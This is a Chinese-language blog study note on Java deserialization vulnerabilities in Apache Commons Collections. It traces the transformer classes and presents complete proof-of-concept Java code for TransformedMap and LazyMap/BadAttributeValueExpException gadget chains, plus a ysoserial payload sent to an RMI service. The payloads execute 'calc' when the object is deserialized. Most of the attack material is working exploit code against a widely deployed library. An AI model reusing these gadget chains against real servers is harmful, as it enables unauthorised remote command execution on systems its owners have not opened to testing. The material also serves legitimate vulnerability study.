读书日记四

前言

每天一小步,进步一大步。Java反序列化学习之Apache Commons Collections

0x01 背景
Apache Commons CollectionsApache Commons的组件,它们是从Java API派生而来的,并为Java语言提供了组件体系结构。 Commons-Collections试图通过提供新的接口,实现和实用程序来构建JDK类。
Apache Commons包应该是Java中使用最广发的工具包,很多框架都依赖于这组工具包中的一部分,它提供了我们常用的一些编程需要,但是JDK没能提供的机能,最大化的减少重复代码的编写。
2015年11月6日FoxGlove Security安全团队的@breenmachine发布了一篇长博客,阐述了利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大Java Web Server纷纷躺枪,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。
InvokerTransformer
Apache Commons Collections中有一个特殊的接口Transformer,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数。
Transformer接口
1
2
3
4
5
public interface Transformer
{

public abstract Object transform(Object obj);
}
InvokerTransformer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class InvokerTransformer implements Transformer, Serializable {
......
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
// 通过反射获取类
Class cls = input.getClass();
// 反射得到具有对应参数的方法
Method method = cls.getMethod(iMethodName, iParamTypes);
// 使用对应参数调用方法,并返回相应调用结果
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
transform方法中利用java的反射机制进行任意方法的调用。
其中input参数是传入的一个反射,反射调用的是其方法。
1
2
3
4
5
6
public InvokerTransformer(String methodName, Class paramTypes[], Object args[])
{
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
iMethodName,iParamTypes,iArgs分别对应方法名,参数类型,参数,都是在实例化InvokerTransformer时传入的可控参数。因此利用这个方法我们可以调用任意对象的任意方法。
ChainedTransformer
1
2
3
4
5
6
7
8
9
10
11
12
13
public class ChainedTransformer implements Transformer, Serializable { 
......
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
.......
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}
commons-collections中有一个满足上面条件的类:ChainedTransformer,该类实例化传入一个Transformer类型的数组,调用其transform方法挨个调用数组中对象的transform方法,并将返回值作为下一次调用对象的参数,第一个对象调用transform方法时的参数是用户传入的。
结合InvokerTransformer可以构造出:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.example.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Test13 {
public static void main(String[] args) {
Transformer[] transformers=new Transformer[] {
new InvokerTransformer(
"exec",
new Class[] {String.class},
new Object[] {"calc"}
)
};

Transformer transformerChain=new ChainedTransformer(transformers);
transformerChain.transform(Runtime.getRuntime());
}
}
调试分析略。
ConstantTransformer
当我们把上述transformerChain对象进行序列化然后反序列化时很明显不会触发命令执行,除非后端代码这样写。
1
2
3
4
5
InputStream iii = request.getInputStream();
ObjectInputStream in = new ObjectInputStream(iii);
obj = in.readObject();
obj.transform(Runtime.getRuntime());
in.close();
显然不可能有这样的代码,我们的目的是只执行readObject()就触发命令执行。
这里用到一个内置类ConstantTransformertransform方法会把传入的实例化参数原样返回。
1
2
3
4
5
6
7
8
9
10
11
public class ConstantTransformer implements Transformer, Serializable {
.....
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

public Object transform(Object input) {
return iConstant;
}
}
因此构造
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.example.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Test13 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"calc"})
};

Transformer transformerChain = new ChainedTransformer(transformers);
}
}
但是这里实例化后的对象Runtime不允许序列化,所以不能直接传入实例化的对象。所以我们需要在transforms中利用InvokerTransformer反射回调出Runtime.getRuntime()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.example.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Test13 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
// 反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
// 反射调用exec方法
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) };

Transformer transformerChain = new ChainedTransformer(transformers);
}
}
整个调用链是((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("calc")
现在反序列化后就可以obj.transform("随意输入");这样触发命令执行,但是一般也没有这样的代码,我们还需要继续构造。
0x02 攻击链(一)
/org/apache/commons/collections/map/TransformedMap.class
1
2
3
4
5
6
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}
这里只要valueTransformer可控就可以利用上面的调用链。
构造函数如下:
1
2
3
4
5
6
7
8
9
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
可以看到valueTransformer是可控的。
触发点
1
2
3
4
5
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}
因此可以构造
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.example.demo;

import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class Test13 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
// 反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
// 反射调用exec方法
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) };
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
transformedmap.put("1", "2");
}
}
要想实现反序列化RCE还需要找个重写readObject的地方,而且还需要有对Map的操作。
如果我们要实现反序列化RCE还需要找个重写readObject的地方,而且还需要有对map执行put的操作。
不过还有一处checkSetValue同样调用了transform
1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
在他的父类AbstractInputCheckedMapDecorator中有个MapEntry静态类,调用了AbstractInputCheckedMapDecorator.checkSetValue
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
我们需要找一个readObject中对map执行setValue的地方。
在jdk小于1.7的时候/reflect/annotation/AnnotationInvocationHandler.class中,readObject中有对map的修改功能。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();


// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
payload如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.example.demo;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class Test13 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = { new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) };
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "2");

Map transformedmap = TransformedMap.decorate(map, null, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);

Object ins = cons.newInstance(java.lang.annotation.Retention.class, transformedmap);

ByteArrayOutputStream exp = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(exp);
oos.writeObject(ins);
oos.flush();
oos.close();

ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois = new ObjectInputStream(out);
Object obj = (Object) ois.readObject();
}
}
调试就不贴了。
0x03 攻击链(二)
/org/apache/commons/collections/map/LazyMap.java中的get方法
1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
factory同样可控,key任意值不会影响结果。
1
2
3
4
5
6
7
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
现在我们需要想办法触发get方法。
/org/apache/commons/collections/keyvalue/TiedMapEntry.class
getValue调用了map实例的get方法。
1
2
3
public Object getValue() {
return map.get(key);
}
toString方法会调用getValue,java中的toString和php一样,都是当对象被当做字符串处理的时候会自动调用这个方法。
1
2
3
public String toString() {
return getKey() + "=" + getValue();
}
修改poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package com.example.demo;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

import javax.management.BadAttributeValueExpException;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

public class Test13 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = { new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new Object[] { "calc" }) };
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException ins = new BadAttributeValueExpException(null);

Field valfield = ins.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(ins, entry);

ByteArrayOutputStream exp = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(exp);
oos.writeObject(ins);
oos.flush();
oos.close();

ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois = new ObjectInputStream(out);
Object obj = (Object) ois.readObject();
ois.close();
}
}
序列化entry对象,当漏洞反序列化代码如下时触发漏洞:
1
2
3
4
InputStream iii = request.getInputStream();
ObjectInputStream in = new ObjectInputStream(iii);
System.out.println(in.readObject());
in.close();
这样的话 我们还需要打印这个反序列化对象,我们需要找到一个重写了readObject方法,并且对某个变量进行了字符串操作的类。
/javax/management/BadAttributeValueExpException.java
这里直接调用了valObj.toString(),而Object valObj = gf.get("val", null);,这里的val是私有变量我们可以通过反射私有变量来赋值。从而让valObj=entry
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
最终会调用toString,并且rce成功。
0x04 反序列化攻击RMI服务
服务器上有commons-collectons-3.1的情况下java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "calc" > 1.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.example.demo;

import java.rmi.server.UnicastRemoteObject;
import java.rmi.RemoteException;

public class HelloImpl extends UnicastRemoteObject implements IHello{
private static final long serialVersionUID = 1L;

protected HelloImpl() throws RemoteException{
super();
}

public String sayHello(String name) throws RemoteException{
return "Hello "+name+" ^_^";
}

public void doWork(Object work) throws RemoteException{
System.out.println("your work is "+work);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.example.demo;

import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class UserClient {
public static void main(String[] args) throws Exception {
try {
IHello ihello = (IHello) Naming.lookup("rmi://localhost:1099/iHello");
System.out.println(ihello.sayHello("hello"));

ihello.doWork(getpayload());
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (RemoteException e) {
e.printStackTrace();
} catch (NotBoundException e) {
e.printStackTrace();
}
}

public static Object getpayload() throws Exception{
FileInputStream fileInputStream = new FileInputStream("./src/main/java/com/example/demo/1.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
return objectInputStream.readObject();
}
}
本地读取1.txt中的序列化字节序列,将它们反序列化为一个对象传给RMI服务,RMI客户端本地的stub类把对象序列化后传给RMI服务端的skeletons类,服务端调用public void doWork(Object work)时,服务器端的skeletons类反序列化触发命令执行。
最后导致任意命令执行。
参考链接:
https://xz.aliyun.com/t/4558#toc-0
https://www.smi1e.top/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0%E4%B9%8Bapache-commons-collections/